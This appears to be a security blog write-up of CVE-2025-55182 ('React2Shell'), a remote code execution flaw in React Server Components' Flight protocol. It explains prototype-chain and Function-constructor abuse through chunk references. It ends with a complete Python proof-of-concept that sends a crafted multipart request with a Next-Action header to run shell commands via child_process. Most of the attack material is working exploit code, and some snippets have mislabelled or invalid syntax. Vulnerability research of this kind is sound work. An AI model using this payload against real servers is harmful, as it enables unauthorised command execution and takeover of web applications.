React2Shell | CVE-2025-55182

26/01/26

Author

Nyx0r

Function Constructor in JavaScript

(Important) One of the methods to create a function in JavaScript is the function constructor.

create_function.js

var func1 = Function()
var func2 = Function("<function-code>")
var func3 = Function("<param>" , "<code>")

Note: These functions are considered anonymous functions, so save them in a variable and call them.

Understanding Prototypes

The prototype represents the shape of the object (properties, functions, parameters, etc.)

We can use __proto__ to call specific functions inside this shape:

call_apply.js

var obj = {}
obj.__proto__.toString() 
alert.__proto__.toString()

We can call the constructor:

constructor.js

alert.__proto__.constructor // ==> Function() which is a function constructor

We can get the Function constructor from an object: (Obj → Prototype → Function → Constructor)

alert1.js

var x = {}
var func7 = x.__proto__.toString.constructor("alert()")

The constructor is also considered a function:

alert2.js

var x = {}
var func7 = x.__proto__.constructor.constructor("alert()")

Flight Protocol & Chunk References

The first suspicious part is the Flight Protocol, which represents data as chunks. We can reference data from another chunk using the '$' sign:

chunks.js

files = {
    "0": (None, '["$1"]'),  // $1 -> means get the data in chunk 1
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), // Go to chunk 2 and get the property fruitName from it
    "2": (None, '{"fruitName":"cherry"}'),
}

Output:

OUTPUT

{ object: 'fruit', name: 'cherry' }

The problem is there's no check on the referencing of these chunks, which means we can refer to anything we want. That's the vulnerability!

We can create a function constructor inside the chunks by calling any function's constructor inside the prototype:

function_constructor2.js

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Which means:

expanded.js

files = {
    "0": (None, '{"then":"{"x":1}:__proto__:constructor:constructor"}'),
}

Which evaluates to:

evaluation.js

{"x":1}.__proto__.constructor.constructor

Output:

OUTPUT

[Function: Function]

Now, we need to:

Call this function
Inject code inside it

Creating Thenable Functions

We've noticed in a file called action-handler.ts that the chunks are taken with the await keyword and return the value without any checks. To use this, we will create the function as a Thenable function.

To create it as a thenable function, we need to access the then property of the function constructor or access it from the prototype directly:

thenable.js

files = {
    "0": (None, '{"then":"$1:__proto__:then"}'),
    "1": (None, '{"x":1}'),
}

But if we go deeper inside, we'll notice in the following code snippet that we need the thenable to reference the whole chunk object, not just its data.

So, we will use another shape of referencing. We'll use the $@ sign to refer to the chunk object itself, not just its data:

chunk_reference.js

files = {
    "0": (None, "{'then':'$1:__proto__:then'}"),
    "1": (None, "$@0")
}

Which means:

thenable_result.js

Chunk.__proto__.then = function(resolve, reject) {
    // Code Injection Vulnerability
}

To get inside the interesting function that we highlighted in the previous screenshot, we should make the status value be "resolved_model":

status_set.js

files = {
    "0": (None, "{'then':'$1:__proto__:then', 'status':'resolved_model'}"),
    "1": (None, "$@0")
}

final_thenable.js

Chunk.__proto__.then = function(resolve, reject, 'status' == 'resolved_model') {
    // Code Injection Vulnerability
}

Now we've created the function, made it callable, and we're inside the vulnerable function initializeModelChunk that we want to exploit.

Complete Exploitation Steps

All we need now is to override this function to inject our payload that will lead to RCE:

initializeModelChunk.js

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

The vulnerable function takes a property from chunk called _response and passes it to the reviveModel function:

reviveModel.js

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Inside the function, there's a get function that we will override. It takes a _prefix property from the _response object for case 'B'.

Complete Payload Steps

Refer to the chunk object itself using $@
Create a function constructor inside the chunk
Make it thenable to be called and set status as "resolved_model"
Edit the _response object to inject our payload
Override the get function to make a function constructor which will take the _prefix property from us
Make the _prefix property a system command code

RCE.js

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Proof of Concept

You can use the following Python script as a proof of concept:

React2Shell.py

import requests
import sys
import json

TARGET_URL = "http://localhost:3000"
COMMAND = "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{COMMAND}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:${res}}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(TARGET_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

Share this article: